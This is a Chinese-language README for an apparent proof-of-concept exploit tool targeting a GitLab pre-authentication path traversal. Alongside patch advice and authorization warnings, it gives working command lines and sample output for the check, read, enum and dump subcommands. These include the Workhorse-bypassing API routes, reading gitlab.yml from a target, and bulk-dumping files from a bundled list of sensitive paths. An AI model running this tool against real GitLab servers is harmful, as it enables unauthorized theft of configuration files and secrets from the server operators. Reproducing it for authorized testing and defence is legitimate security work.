CVE-2026-85706 是 GitLab CE/EE Repository Commits 和 Repository Files API 中的一个严重路径遍历 / 缺失认证漏洞:未认证的攻击者可以令服务器读取任意文件,并通过错误通道获取其内容。CVSS 3.1 10.0
(CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N)。
GitLab 的官方标题为 “仓库提交 API 中的路径遍历漏洞影响 GitLab CE/EE”。修复程序 于 2026-09-10 在 19.3.2 / 19.2.6 / 19.1.8 中发布。
[!IMPORTANT] 正在运行自管理 GitLab <= 19.3.1?请升级到 19.3.2 / 19.2.6 / 19.1.8。
[!WARNING] 仅限授权使用。 仅对您拥有或明确获准测试的系统运行此工具。
本仓库包含一个独立的 PoC、一个最小复现实验环境以及完整的技术 分析:
不包含从任何第三方系统捕获的数据。
# terminal 1 - from the repository root
cd lab
python vulnerable_api.py --seed # create the sandbox vault
python vulnerable_api.py --port 8080 # vulnerable build (add --patched to compare)
# terminal 2 - from the repository root
cd poc
python CVE-2026-85706.py check --url http://127.0.0.1:8080 --project 1
python CVE-2026-85706.py read --url http://127.0.0.1:8080 --project 1 \
--file /tmp/cve-2026-85706/canary.txt
该实验环境仅监听 127.0.0.1,且仅读取其 lab/vault/ 沙箱内的内容,因此它绝不会触及
您真实机器上的文件。
# from the repository root (`cd lab && docker compose up -d` works too)
docker compose -f lab/docker-compose.yml up -d # ~3 GB image, >= 8 GB RAM
# root password, if you need to log in and create the project:
docker compose -f lab/docker-compose.yml exec gitlab grep 'password:' /etc/gitlab/initial_root_password
# then create a PUBLIC project with a repository, note its id, and run:
python poc/CVE-2026-85706.py check --url http://127.0.0.1:8929 --project <project_id>
# from the repository root
python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <public_project>
对于自签名证书,请添加 --insecure,并优先使用数字项目 ID 而非编码路径
(--project <id> 而非 group%2Fproject)。
| 命令 | 用途 | 关键选项 |
|---|---|---|
check | 目标是否存在漏洞?比较每个绕过向量的响应 | --canary-path、--no-bypass-probe |
read | 读取一个文件并报告其内容是否泄露 | --file <path>、--media <type> |
enum | 探测一组路径并对每个路径进行分类 | --wordlist、--wordlist-file |
dump | 将每个可读文件保存到磁盘,并附带清单和原始响应 | --files、--files-file、--outdir |
check 打印的标签:
| 标签 | 请求路径 |
|---|---|
commits-trailing-slash | POST /api/v4/projects/<id>/repository/commits/ |
commits-json-suffix | POST /api/v4/projects/<id>/repository/commits.json |
commits-canonical | POST /api/v4/projects/<id>/repository/commits(Workhorse 缓冲,对照用例) |
files-trailing-slash | POST /api/v4/projects/<id>/repository/files/<name>/ |
files-canonical | POST /api/v4/projects/<id>/repository/files/<name> |
check - 目标是否存在漏洞?$ python poc/CVE-2026-85706.py check --url https://gitlab.example.com --project <id> --insecure
form commits-trailing-slash HTTP 400 VULNERABLE:existence-oracle
form commits-json-suffix HTTP 400 VULNERABLE:existence-oracle
form commits-canonical HTTP 401 NOT-VULNERABLE(auth required)
[json and query variants behave identically]
[*] Workhorse bypass probe (same route, sent with and without the 'file' parameter)
commits-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
files-trailing-slash without 'file' HTTP 400 {"error":"file is missing"}
commits-trailing-slash with 'file=' HTTP 400 VULNERABLE:existence-oracle
[!] VULNERABLE - the endpoint evaluated an attacker supplied file path before authenticating.
-> upgrade to GitLab 19.1.8 / 19.2.6 / 19.3.2 or later.
退出码:0 = 存在漏洞;1 = 使用所测试的向量无法利用(已修补,或该路由 不可达)。
有两个细节值得了解:
Workhorse bypass probe 块是路由证明:file 仅在 Workhorse 缓冲并
签名请求体时才存在,因此 400 {"error":"file is missing"} 证明该绕过路由跳过了该流水线
同时仍到达了 API。在已修补的构建上,最后一行显示 HTTP 401。commits-canonical -> 401)是对照用例:在该路径上 Workhorse 会重写
file.path,因此攻击者的值永远不会到达存在漏洞的代码。read - 读取单个文件$ python poc/CVE-2026-85706.py read --url https://gitlab.example.com --project <id> --insecure \
--file /var/opt/gitlab/gitlab-rails/etc/gitlab.yml
[*] baseline probe (/tmp/this-file-does-not-exist-627748): HTTP 400 -> target build is VULNERABLE
form commits-trailing-slash HTTP 400 LEAK! content disclosed via the Rack parser error
form commits-canonical HTTP 401 EXISTS, parsed without error -> authentication required
退出码:0 = 内容已泄露,或基线确认了认证前读取;1 = 未观察到 认证前读取。
enum / dump - 批量探测python poc/CVE-2026-85706.py enum --url https://gitlab.example.com --project <id> --insecure \
--wordlist-file poc/paths.txt
python poc/CVE-2026-85706.py dump --url https://gitlab.example.com --project <id> --insecure \
--outdir evidence --files-file poc/paths.txt
poc/paths.txt 附带 45 个有趣的 GitLab/Linux 路径;--wordlist / --files 可以内联给出或
通过文件给出,且两种形式可以组合使用。这两个子命令是仅有的会触及真实文件
内容的子命令——请将输出写入本仓库之外,并且绝不发布它们捕获的内容。
| 选项 | 含义 |
|---|---|
--url <base URL> | 目标基础 URL(必填) |
--project <id or encoded path> | 公开项目 ID(123)或 URL 编码路径(group%2Fproject),必填 |
--token <PRIVATE-TOKEN> | 可选;测试已认证路径 |
--insecure | 跳过 TLS 验证(自签名证书) |
-v、--verbose | 将每个请求/响应打印到 stderr |
--canary-path <path> | 用作漏洞基线的保证不存在的路径 |
--color <mode> | auto(默认,在真实终端上启用颜色)、always、never |
选项顺序很重要:共享选项放在子命令之后——check --url ... --insecure,而不是
--url ... check。
| 测试 | 结果 |
|---|---|
已修补对照 - gitlab.com,19.3.2+ | 每个向量都返回 401;唯一的其他答案是证明路由绕过的 400 {"error":"file is missing"} |
本地实验环境 - lab/vulnerable_api.py | 端到端复现 Rails 侧的信任缺陷;--patched 提供对照构建 |
| 真实自管理实例 - 19.3.1,书面授权 | 确认存在漏洞;主机和项目详情有意不在此发布。汇总结果见 ANALYSIS.md,第 4.3 节 |
本材料仅供安全研究和授权测试使用——您自己的实验环境、漏洞赏金 项目,或经书面许可的渗透测试。仅对您拥有或明确获准测试的系统使用它。未经授权访问第三方系统是违法的。按原样提供,不附带 任何形式的保证。